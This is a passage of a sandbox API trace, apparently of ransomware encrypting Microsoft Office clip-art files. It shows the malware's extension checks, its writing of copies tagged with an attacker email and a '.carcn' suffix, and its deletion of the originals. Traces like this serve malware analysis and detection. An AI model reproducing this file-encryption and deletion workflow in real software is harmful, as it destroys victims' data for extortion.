(hFile=0x41c) returned 1 [0286.177] CloseHandle (hObject=0x41c) returned 1 [0286.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0286.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.581] lstrlenW (lpString=".doc") returned 4 [0286.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.581] lstrlenW (lpString=".docx") returned 5 [0286.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.581] lstrlenW (lpString=".pdf") returned 4 [0286.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.581] lstrlenW (lpString=".xls") returned 4 [0286.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.581] lstrlenW (lpString=".xlsx") returned 5 [0286.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.581] lstrlenW (lpString=".ppt") returned 4 [0286.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.581] lstrlenW (lpString=".zip") returned 4 [0286.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.581] lstrlenW (lpString=".rar") returned 4 [0286.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.581] lstrlenW (lpString=".bz2") returned 4 [0286.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.581] lstrlenW (lpString=".7z") returned 3 [0286.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.581] lstrlenW (lpString=".dbf") returned 4 [0286.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.581] lstrlenW (lpString=".1cd") returned 4 [0286.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.581] lstrlenW (lpString=".jpg") returned 4 [0286.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.582] lstrlenW (lpString=".doc") returned 4 [0286.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.582] lstrlenW (lpString=".docx") returned 5 [0286.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.582] lstrlenW (lpString=".pdf") returned 4 [0286.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.582] lstrlenW (lpString=".xls") returned 4 [0286.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.582] lstrlenW (lpString=".xlsx") returned 5 [0286.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.582] lstrlenW (lpString=".ppt") returned 4 [0286.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.582] lstrlenW (lpString=".zip") returned 4 [0286.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.582] lstrlenW (lpString=".rar") returned 4 [0286.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.582] lstrlenW (lpString=".bz2") returned 4 [0286.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.582] lstrlenW (lpString=".7z") returned 3 [0286.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.582] lstrlenW (lpString=".dbf") returned 4 [0286.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.583] lstrlenW (lpString=".1cd") returned 4 [0286.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0286.583] lstrlenW (lpString=".jpg") returned 4 [0286.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.583] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0286.583] lstrlenW (lpString="HM00172_.WMF") returned 12 [0286.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0286.584] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2832) returned 1 [0286.584] CloseHandle (hObject=0x49c) returned 1 [0286.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0286.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0286.585] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.585] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0286.585] GetLastError () returned 0x0 [0286.586] ReadFile (in: hFile=0x49c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xb10, lpOverlapped=0x0) returned 1 [0286.603] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xb20, lpOverlapped=0x0) returned 1 [0286.604] ReadFile (in: hFile=0x49c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.604] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.605] SetEndOfFile (hFile=0x528) returned 1 [0286.605] CloseHandle (hObject=0x528) returned 1 [0286.605] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.605] SetEndOfFile (hFile=0x49c) returned 1 [0286.627] CloseHandle (hObject=0x49c) returned 1 [0286.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0286.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.628] lstrlenW (lpString=".doc") returned 4 [0286.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.629] lstrlenW (lpString=".docx") returned 5 [0286.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.629] lstrlenW (lpString=".pdf") returned 4 [0286.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.629] lstrlenW (lpString=".xls") returned 4 [0286.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.629] lstrlenW (lpString=".xlsx") returned 5 [0286.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.629] lstrlenW (lpString=".ppt") returned 4 [0286.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.629] lstrlenW (lpString=".zip") returned 4 [0286.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.629] lstrlenW (lpString=".rar") returned 4 [0286.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.629] lstrlenW (lpString=".bz2") returned 4 [0286.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.629] lstrlenW (lpString=".7z") returned 3 [0286.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.629] lstrlenW (lpString=".dbf") returned 4 [0286.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.629] lstrlenW (lpString=".1cd") returned 4 [0286.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.630] lstrlenW (lpString=".jpg") returned 4 [0286.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.630] lstrlenW (lpString=".doc") returned 4 [0286.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.630] lstrlenW (lpString=".docx") returned 5 [0286.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.630] lstrlenW (lpString=".pdf") returned 4 [0286.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.630] lstrlenW (lpString=".xls") returned 4 [0286.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.630] lstrlenW (lpString=".xlsx") returned 5 [0286.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.630] lstrlenW (lpString=".ppt") returned 4 [0286.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.630] lstrlenW (lpString=".zip") returned 4 [0286.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.630] lstrlenW (lpString=".rar") returned 4 [0286.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.631] lstrlenW (lpString=".bz2") returned 4 [0286.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.631] lstrlenW (lpString=".7z") returned 3 [0286.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.631] lstrlenW (lpString=".dbf") returned 4 [0286.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.631] lstrlenW (lpString=".1cd") returned 4 [0286.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0286.631] lstrlenW (lpString=".jpg") returned 4 [0286.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.631] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0286.631] lstrlenW (lpString="IN00046_.WMF") returned 12 [0286.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.661] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1158) returned 1 [0286.661] CloseHandle (hObject=0x54c) returned 1 [0286.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0286.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.663] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.663] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.665] GetLastError () returned 0x0 [0286.665] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x486, lpOverlapped=0x0) returned 1 [0286.666] WriteFile (in: hFile=0x564, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x490, lpOverlapped=0x0) returned 1 [0286.668] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.668] WriteFile (in: hFile=0x564, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.668] SetEndOfFile (hFile=0x564) returned 1 [0286.668] CloseHandle (hObject=0x564) returned 1 [0286.668] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.668] SetEndOfFile (hFile=0x54c) returned 1 [0286.671] CloseHandle (hObject=0x54c) returned 1 [0286.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0286.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.836] lstrlenW (lpString=".doc") returned 4 [0286.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.836] lstrlenW (lpString=".docx") returned 5 [0286.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.836] lstrlenW (lpString=".pdf") returned 4 [0286.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.836] lstrlenW (lpString=".xls") returned 4 [0286.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.836] lstrlenW (lpString=".xlsx") returned 5 [0286.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.837] lstrlenW (lpString=".ppt") returned 4 [0286.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.837] lstrlenW (lpString=".zip") returned 4 [0286.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.837] lstrlenW (lpString=".rar") returned 4 [0286.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.837] lstrlenW (lpString=".bz2") returned 4 [0286.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.837] lstrlenW (lpString=".7z") returned 3 [0286.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.837] lstrlenW (lpString=".dbf") returned 4 [0286.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.837] lstrlenW (lpString=".1cd") returned 4 [0286.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.837] lstrlenW (lpString=".jpg") returned 4 [0286.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.839] lstrlenW (lpString=".doc") returned 4 [0286.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.840] lstrlenW (lpString=".docx") returned 5 [0286.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.840] lstrlenW (lpString=".pdf") returned 4 [0286.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.840] lstrlenW (lpString=".xls") returned 4 [0286.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.840] lstrlenW (lpString=".xlsx") returned 5 [0286.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.840] lstrlenW (lpString=".ppt") returned 4 [0286.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.840] lstrlenW (lpString=".zip") returned 4 [0286.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.840] lstrlenW (lpString=".rar") returned 4 [0286.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.840] lstrlenW (lpString=".bz2") returned 4 [0286.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.840] lstrlenW (lpString=".7z") returned 3 [0286.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.840] lstrlenW (lpString=".dbf") returned 4 [0286.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.840] lstrlenW (lpString=".1cd") returned 4 [0286.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0286.841] lstrlenW (lpString=".jpg") returned 4 [0286.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.841] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0286.841] lstrlenW (lpString="IN00177_.WMF") returned 12 [0286.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.096] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1074) returned 1 [0287.096] CloseHandle (hObject=0x41c) returned 1 [0287.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0287.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.232] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.232] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.233] GetLastError () returned 0x0 [0287.233] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x432, lpOverlapped=0x0) returned 1 [0287.250] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x440, lpOverlapped=0x0) returned 1 [0287.251] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.251] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.251] SetEndOfFile (hFile=0x56c) returned 1 [0287.252] CloseHandle (hObject=0x56c) returned 1 [0287.252] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.252] SetEndOfFile (hFile=0x53c) returned 1 [0287.255] CloseHandle (hObject=0x53c) returned 1 [0287.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft 